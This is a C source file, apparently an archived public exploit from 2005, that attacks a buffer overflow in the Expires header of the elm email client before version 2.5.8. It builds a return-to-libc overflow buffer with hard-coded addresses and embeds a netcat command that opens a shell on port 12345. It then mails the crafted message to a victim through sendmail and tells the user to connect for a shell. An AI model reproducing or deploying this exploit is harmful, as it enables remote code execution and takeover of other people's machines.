477bcbdcc0
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111 lines
2.9 KiB
C
Executable file
111 lines
2.9 KiB
C
Executable file
/*
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Exploit code for the bug posted by Ulf Harnhammar (metaurtelia.com)
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http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html
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Probably you will need to change SYSLOC and STRLOC to work on your box
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#define BUFFER 83
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#define EMAIL "tmpmail"
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#define STRING "`nc -l -p 12345 -e /bin/sh`&##"
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#define SYSLOC 0x42041e50
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#define STRLOC 0x4001a207
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#define EXTLOC 0x4202b0f0
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char expire[]="\x45\x78\x70\x69\x72\x65\x73\x3A\x20";
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int main(int argc, char **argv)
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{
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char buffer[BUFFER];
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char *email = NULL;
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char *user = NULL;
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int i;
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long extloc, sysloc, strloc;
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FILE *fp;
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if(argc != 2) {
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puts("Usage: ./elmex <user@where.com>");
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exit(EXIT_FAILURE);
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}
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if(strlen(argv[1]) > 50) {
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puts("[-] Sorry, email address too long!");
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exit(EXIT_FAILURE);
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}
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user = (char *)malloc(strlen(argv[1]));
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if(!user) {
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perror("malloc");
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exit(EXIT_FAILURE);
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}
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email = EMAIL;
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memset(user, '\0', strlen(argv[1]));
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memcpy(user, argv[1], strlen(argv[1]));
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puts("\nExploit for elm email client < 2.5.8 overflow in Expires field");
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puts("Tested: Redhat on quiet a Sunday by c0ntex[at]open-security.org\n");
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extloc = EXTLOC;
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sysloc = SYSLOC;
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strloc = STRLOC;
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memset(buffer, '\0', BUFFER);
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memcpy(buffer, expire, strlen(expire));
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for(i = strlen(expire); i < 53; i++)
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*(buffer+i) = 0x41;
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for(i = 53; i < 57; i += 4)
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*(long *)&buffer[i] = sysloc;
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for(i = 57; i < 61; i++)
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*(long *)&buffer[i] = extloc;
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for(i = 61; i < 65; i += 4)
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*(long *)&buffer[i] = strloc;
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memcpy(&buffer[65], STRING, strlen(STRING));
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buffer[BUFFER] = '\0';
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puts("[-] Adding exploit buffer to email");
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fp = fopen(email, "w");
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if(!fp) {
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perror("fopen"); free(user);
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exit(EXIT_FAILURE);
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}
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fprintf(fp,
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"From: User c0ntex <c0ntex@open-security.org> Sun Aug 21 13:37:00 2005\n"
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"Return-Path: <c0ntex@localhost\n"
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"Date: Sun, 21 Aug 2005 13:37:00 %s\n"
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"Subject: Insecure?\n"
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"To: %s\n"
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"%s\n", STRING, user, buffer);
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fclose(fp);
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printf("[-] Emailing %s with malicious content\n", argv[1]);
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if(system("/bin/cat ./tmpmail | /usr/sbin/sendmail -t") <0) {
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perror("system"); free(user);
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exit(EXIT_FAILURE);
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}
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puts("[-] Connect to system on port 12345 to get your shell\n");
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if(unlink(EMAIL) <0)
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perror("unlink");
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free(user);
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return EXIT_SUCCESS;
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}
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// milw0rm.com [2005-08-22]
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